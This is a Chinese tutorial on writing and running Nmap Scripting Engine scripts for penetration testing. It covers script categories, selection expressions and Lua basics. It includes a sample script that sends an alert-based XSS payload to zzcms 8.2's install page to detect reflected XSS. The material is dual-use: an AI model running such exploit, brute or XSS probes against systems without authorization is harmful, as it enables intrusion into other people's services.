Hr-Papers|Nmap渗透测试脚本指南
字数 1567 2025-08-18 11:37:11

Nmap脚本引擎(NSE)渗透测试指南

一、NSE简介

Nmap脚本引擎(NSE)是Nmap功能扩展的核心组件,于2007年谷歌夏令营期间推出。它通过Lua脚本语言扩展了Nmap的功能,目前包含14个类别的脚本,覆盖从网络发现到安全漏洞检测和利用的广泛任务。

二、NSE基础使用

1. 基本扫描命令

nmap -sV -sC scanme.nmap.org
  • -sV: 服务版本检测
  • -sC: 执行默认类别的NSE脚本(等同于--script default

2. 脚本分类

类别 描述
auth 用户认证相关脚本
broadcast 使用广播收集网络信息
brute 暴力破解脚本
default 默认脚本类别(-sC)
discovery 主机和服务发现相关
dos 拒绝服务攻击相关
exploit 漏洞利用脚本
external 第三方服务脚本
fuzzer 模糊测试脚本
intrusive 入侵性脚本
malware 恶意软件检测
safe 安全脚本(默认类别)
vuln 安全漏洞检测和利用
version 高级系统脚本

三、脚本选择方法

1. 按名称选择脚本

nmap --script http-title <target>
nmap -p80 --script http-huawei-hg5xx-vuln <target>
nmap --script http-title,http-methods <target>

2. 按类别选择脚本

nmap --script exploit <target>
nmap --script discovery,intrusive <target>

3. 按文件路径选择脚本

nmap --script /path/to/script.nse <target>
nmap --script /path/to/folder/ <target>

4. 高级脚本选择表达式

# 排除exploit类别的脚本
nmap -sV --script "not exploit" <target>

# 组合条件
nmap --script "not(intrusive or dos or exploit)" -sV <target>

# 使用通配符
nmap --script "snmp-*" <target>

# 复杂表达式
nmap --script "http-* and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" <target>

四、脚本参数设置

1. 基本参数设置

nmap -sV --script http-title --script-args http.useragent="Mozilla 1337" <target>

2. 参数冲突解决

当多个脚本有同名参数时:

nmap --script http-majordomo2-dir-traversal,http-axis2-dir-traversal \
--script-args http-axis2-dir-traversal.uri=/axis2/,uri=/majordomo/ <target>

五、NSE脚本开发基础

1. Lua语言基础

基本语法

  • 单行注释:-- 注释
  • 多行注释:
--[[
多行注释
多行注释
--]]

数据类型

类型 描述
nil 无效值
boolean true/false
number 双精度浮点数
string 字符串
function 函数
userdata C数据结构
thread 协程
table 关联数组

变量

  • 全局变量:直接声明
  • 局部变量:使用local关键字

2. NSE脚本结构

description = [[脚本描述]]

---
-- @usage 使用示例
-- @output 输出示例
---

author = "作者"
license = "Same as Nmap"
categories = {"category1", "category2"}

-- 规则函数
rule = function(host, port)
    return true/false
end

-- 执行函数
action = function(host, port)
    -- 脚本逻辑
end

3. Rule类型

类型 触发时机 示例
prerule Nmap扫描前 prerule = function() return true end
hostrule 主机发现或探测时 hostrule = function(host) return true end
portrule 端口扫描时 portrule = function(host, port) return port.state == "open" end
postrule Nmap扫描结束时 postrule = function() return true end

4. 常用库

  • stdnse: 标准输出库
  • http: HTTP请求库
  • shortport: 端口处理库
  • string: 字符串处理库
  • table: 表格处理库

六、实战脚本开发示例

1. 检测反射型XSS漏洞

local http = require "http"
local shortport = require "shortport"
local string = require "string"
local stdnse = require "stdnse"
local table = require "table"

description = [[Detecting reflective xss in zzcms8.2]]

author = "HongRi yumu"
license = "Same as Nmap"
categories = {"default", "safe", "discovery", "version"}

portrule = function(host, port)
    return port.protocol == "tcp" and port.state == "open"
end

action = function(host, port)
    local table_input = {}
    local xss_exit = "Reflective xss exists"
    local xss_not_exit = "Reflective xss does not exist"
    local basepath = stdnse.get_script_args(SCRIPT_NAME..".url-path") or '/install/index.php'
    
    local options = {
        headers = {
            ["User-Agent"] = "Mozilla/5.0",
            ["Host"] = host.name,
            ["Referer"] = "http://"..host.name.."/install/index.php",
            ["Content-Type"] = "application/x-www-form-urlencoded"
        }
    }
    
    local postdata = {
        ["admin"] = "admin",
        ["adminpwdtrue"] = "admin<script>alert(1)</script>",
        ["step"] = 6
    }
    
    local response = http.post(host, port, basepath, options, nil, postdata)
    
    if response.status and response.body then
        if response.status == 200 and string.find(response.body, "alert") ~= nil then
            table.insert(table_input, string.format("Final Results: %s", xss_exit))
            return stdnse.format_output(true, table_input)
        else
            table.insert(table_input, string.format("Final Results: %s", xss_not_exit))
            return stdnse.format_output(true, table_input)
        end
    end
end

2. 获取网站客服电话

local stdnse = require "stdnse"
local http = require "http"
local string = require "string"
local shortport = require "shortport"

description = [[Get the phone number of the customer service]]

author = "HongRi yumu"
license = "Same as Nmap"
categories = {"default", "safe"}

portrule = shortport.http

function action(host, port)
    local telephone_number, baseurl
    baseurl = "/"
    response = http.get(host, port, baseurl)
    telephone_number = string.match(response.body, "%d+-%d+")
    
    if telephone_number ~= nil then
        return "consumer hotline:"..telephone_number
    else
        return "Not found"
    end
end

七、调试技巧

使用-d选项进行调试:

nmap -d 3 --script your_script.nse <target>

调试等级说明:

  • 等级越高,输出信息越详细
  • 等级3通常足够用于脚本调试

八、最佳实践

  1. 脚本分类:根据脚本功能正确分类
  2. 参数设计:考虑灵活性和可配置性
  3. 错误处理:完善的错误处理和日志输出
  4. 性能优化:避免不必要的网络请求和计算
  5. 文档完善:包含使用示例和输出说明

九、资源链接

  1. Lua教程
  2. Nmap官方文档
  3. NSE脚本库
Nmap脚本引擎(NSE)渗透测试指南 一、NSE简介 Nmap脚本引擎(NSE)是Nmap功能扩展的核心组件,于2007年谷歌夏令营期间推出。它通过Lua脚本语言扩展了Nmap的功能,目前包含14个类别的脚本,覆盖从网络发现到安全漏洞检测和利用的广泛任务。 二、NSE基础使用 1. 基本扫描命令 -sV : 服务版本检测 -sC : 执行默认类别的NSE脚本(等同于 --script default ) 2. 脚本分类 | 类别 | 描述 | |------|------| | auth | 用户认证相关脚本 | | broadcast | 使用广播收集网络信息 | | brute | 暴力破解脚本 | | default | 默认脚本类别(-sC) | | discovery | 主机和服务发现相关 | | dos | 拒绝服务攻击相关 | | exploit | 漏洞利用脚本 | | external | 第三方服务脚本 | | fuzzer | 模糊测试脚本 | | intrusive | 入侵性脚本 | | malware | 恶意软件检测 | | safe | 安全脚本(默认类别) | | vuln | 安全漏洞检测和利用 | | version | 高级系统脚本 | 三、脚本选择方法 1. 按名称选择脚本 2. 按类别选择脚本 3. 按文件路径选择脚本 4. 高级脚本选择表达式 四、脚本参数设置 1. 基本参数设置 2. 参数冲突解决 当多个脚本有同名参数时: 五、NSE脚本开发基础 1. Lua语言基础 基本语法 单行注释: -- 注释 多行注释: 数据类型 | 类型 | 描述 | |------|------| | nil | 无效值 | | boolean | true/false | | number | 双精度浮点数 | | string | 字符串 | | function | 函数 | | userdata | C数据结构 | | thread | 协程 | | table | 关联数组 | 变量 全局变量:直接声明 局部变量:使用 local 关键字 2. NSE脚本结构 3. Rule类型 | 类型 | 触发时机 | 示例 | |------|----------|------| | prerule | Nmap扫描前 | prerule = function() return true end | | hostrule | 主机发现或探测时 | hostrule = function(host) return true end | | portrule | 端口扫描时 | portrule = function(host, port) return port.state == "open" end | | postrule | Nmap扫描结束时 | postrule = function() return true end | 4. 常用库 stdnse : 标准输出库 http : HTTP请求库 shortport : 端口处理库 string : 字符串处理库 table : 表格处理库 六、实战脚本开发示例 1. 检测反射型XSS漏洞 2. 获取网站客服电话 七、调试技巧 使用 -d 选项进行调试: 调试等级说明: 等级越高,输出信息越详细 等级3通常足够用于脚本调试 八、最佳实践 脚本分类 :根据脚本功能正确分类 参数设计 :考虑灵活性和可配置性 错误处理 :完善的错误处理和日志输出 性能优化 :避免不必要的网络请求和计算 文档完善 :包含使用示例和输出说明 九、资源链接 Lua教程 Nmap官方文档 NSE脚本库